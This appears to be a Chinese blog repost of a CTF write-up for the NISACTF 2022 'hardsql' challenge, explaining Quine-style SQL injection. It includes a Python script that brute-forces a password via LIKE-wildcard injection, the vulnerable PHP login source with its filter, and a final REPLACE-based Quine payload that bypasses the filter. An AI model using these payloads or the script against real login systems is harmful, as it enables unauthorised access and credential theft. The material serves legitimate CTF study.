SQL注入之Quine注入

这篇具有很好参考价值的文章主要介绍了SQL注入之Quine注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

目录

前言

一、Quine是什么?

二、[NISACTF 2022]hardsql


前言

提示:这里可以添加本文要记录的大概内容:

SQL注入的各种手段很多,今天做CTF题的时候,又遇到了一种不常考的但是很细节的注入,记录一下。


提示:以下是本篇文章正文内容,下面案例可供参考

一、Quine是什么?

Quine指的是自产生程序,简单的说,就是输入的sql语句与要输出的一致,下面是例题。

二、[NISACTF 2022]hardsql

 题目提示:

$password=$_POST['passwd'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";

1,进入题目:

SQL注入之Quine注入

 题目说登录的账号为bilala,只有登录密码是可注入的点,首先要进行登录,进行一些常规注入的小尝试,发现存在waf过滤了空格,and,updatexml,=,database,sleep,information_schema之类的,过滤的挺多。可以利用like+通配符%进行密码的爆破,爆破脚本如下:

import requests

url = 'http://1.14.71.254:28860/login.php'
str = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag = ''
for i in range(62):
    for j in str:
        data = {
            'username': 'bilala', "passwd":f"-1'/**/or/**/passwd/**/like/**/'{flag+j}%'#"
        }
        response = requests.post(url, data=data)
        if "nothing found" not  in response.text:
            flag = flag + j
            print(flag)
            break
print(flag)

SQL注入之Quine注入

登录进去后,看到了源码:     

 <?php
//多加了亿点点过滤

include_once("config.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
        alertMes('waf here', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
    $username=$_POST['username'];
    $password=$_POST['passwd'];
    if ($username !== 'bilala') {
        alertMes('only bilala can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
    $user_result=mysqli_query($MysqlLink,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes('nothing found','index.php');
    }
    if ($row['passwd'] === $password) {
        if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
            show_source(__FILE__);
            die;
        }
        else{
            die($FLAG);
        }
    } else {
        alertMes("wrong password",'index.php');
    }
}

?>

 解题的关键思路在:

  if ($row['passwd'] === $password) { #关键
        if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
            show_source(__FILE__);
            die;
        }
        else{
            die($FLAG);
        }
    } else {
        alertMes("wrong password",'index.php');
    }
}

查询出来的passwd要和$password强相等,且$passwor不等于b2f2d15b3ae082ca29697d8dcd420fd7。

但是事实上这张表其实是个空表,只有构造输入输出完全一致的语句,才能绕过限制得到FLAG,主要利用replace(str,old_string,new_string)进行构造,构造思路如下:

select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');

利用'replace(".",char(46),".")');替换'replace(".",char(46),".")'中的符号.

输入和输出的结果为: 

replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');

replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") ;

这样其实还没有达到输入和输出一致的问题,因为还有单引号和双引号不一致,所以要解决单双引号的问题,再套一层replace,将双引号替换成单引号即可,如下:

 replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

输出的结果为:

replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")')

 这样就形成了输入和输出的结果一致 。

题中还过滤了char,用chr或者直接0x代替即可。

所以最终的payload为:

username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#&login=%E7%99%BB%E5%BD%95

SQL注入之Quine注入文章来源地址https://www.toymoban.com/news/detail-432461.html


到了这里,关于SQL注入之Quine注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • FlinkCDC 菜鸟教程-文章目录

    背景篇 环境篇  准备一台已经安装了 Docker 的 Linux 或者 MacOS 电脑。 准备教程所需要的组件 版本对应关系 安装 环境检查 工具篇 flink kibana 概念篇 Docker 介 绍 Docker Compose 介 绍 Kibana介 绍 实践篇 演示: Mysql CDC 导入 Elasticsearch 启动服务 准备数据 在 Flink SQL CLI 中使用 Flink DDL 创建

    2024年02月09日
    浏览(53)
  • 【数据结构】【王道】【数据结构实现】文章目录

    持续更新中。。。 数据结构 链接 顺序表实现及基本操作(可直接运行) 文章链接 无头结点单链表的实现及基本操作(可直接运行) 文章链接 带头结点单链表的实现及基本操作(可直接运行) 文章链接 双链表的实现及基本操作(可直接运行) 文章链接 循环链表的实现及

    2023年04月08日
    浏览(92)
  • SQL注入(1)--判断是否存在SQL注入漏洞

    不论是学习后端开发/数据库/网络安全,SQL注入安全隐患反复被提起 到底什么是SQL? 维基百科的定义: (1)什么是SQL? SQL是用来操控数据库的语言 (2)举一个例子,现在我们要查询电影“长津湖”的票房数据: 先想象一下开发人员是如何书写代码从数据库中拿到数据的:

    2024年02月05日
    浏览(48)
  • vscode 系列文章目录 - ctrl+鼠标左键无效

    vscode 中有时会遇到 “Alt + 鼠标点击” 有效,但 “Ctrl + 鼠标点击” 无效,这时可以通过 Ctrl + , 进行系统配置。 进入VScode的首选项,选择设置(快捷键 Ctrl + , ),输入Go to definition,找到如下两个设置。 Editor: Multi Cursor Modifier 设置成 alt “editor.gotoLocation.multipleDefinitions” 设置

    2024年04月23日
    浏览(54)
  • 【vim 学习系列文章 5 - cscope 过滤掉某些目录】

    上篇文章:【vim 学习系列文章 4 - vim与系统剪切板之间的交互】 下篇文章:【vim 学习系列文章 6 – vim 如何从上次退出的位置打开文件】 第一步 创建自己的 cscope 脚本 ~/.local/bin/cscope.sh ,如下: 我的这个脚本首先去区分当前执行 cscope 命令的目录是 rt-thread 目录还是 linux 目

    2024年02月12日
    浏览(84)
  • 一篇文章带你了解SpringBoot目录结构

    前言 SpringBoot是整合Spring技术栈的一站式框架,是简化Spring技术栈的快速开发脚手架,是一个能够快速构建生产级别的Spring应用的工具。SpringBoot是目前流行的微服务框架,倡导“约定优于配置”,简化Spring项目搭建及开发过程。springboot提供了很多核心的功能,比如自动化配置

    2024年03月25日
    浏览(71)
  • SQL注入之WHERE 子句中的 SQL 注入漏洞

    ● 实验室要求 此实验室在产品类别筛选器中包含 SQL 注入漏洞。当用户选择类别时,应用程序将执行如下所示的 SQL 查询: 若要解决实验室问题,请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息。 ● 必要知识点 一个没有安全概念的

    2024年02月14日
    浏览(45)
  • 什么是SQL注入攻击,解释如何防范SQL注入攻击?

    SQL注入攻击是一种常见的网络攻击方式,攻击者通过在Web应用程序的查询语句中插入恶意代码,从而获取数据库中的敏感信息或者执行其他恶意操作。 为了防范SQL注入攻击,可以采取以下措施: 使用参数化查询:使用参数化查询可以避免攻击者通过查询语句中的参数注入恶

    2024年02月10日
    浏览(50)
  • SQL注入的一些示例及解决SQL注入的方法

    SQL注入是一种常见的网络攻击手段,攻击者通过把SQL命令插入到Web表单提交或输入框后面,盗取数据库信息,甚至控制数据库服务器。解决SQL注入的方法如下: 1、使用参数化查询: 参数化查询是一种预编译查询,该查询将参数和SQL语句分开,从而允许程序将参数值与SQL语句

    2023年04月09日
    浏览(42)
  • sql注入之堆叠注入

    mysql数据库sql语句的默认结束符是以\\\";\\\"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句 比如我们在mysql的命令行界面执行一条查询语句,这时语句的结尾必须加上分号结束 select * from student; 如果我们想要执行多条sql那就用结

    2024年02月13日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包